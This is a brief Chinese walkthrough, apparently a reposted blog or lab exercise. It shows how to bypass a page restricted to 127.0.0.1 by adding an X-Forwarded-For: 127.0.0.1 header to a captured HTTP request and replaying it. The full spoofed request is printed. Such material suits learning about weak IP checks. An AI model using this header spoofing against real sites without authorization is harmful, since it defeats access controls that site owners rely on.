(1)访问的原始网页
显示,只要求127.0.0.1ip访问
(2)获取的完整报文请求为
(3)我们将其修改,加上x-forworded-for字段
GET /from.php HTTP/1.1
Host: 192.168.0.103
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
X-Forwarded-For:127.0.0.1
Connection: close
(4)重放后得到返回值
转载于:https://blog.51cto.com/antivirusjo/2059388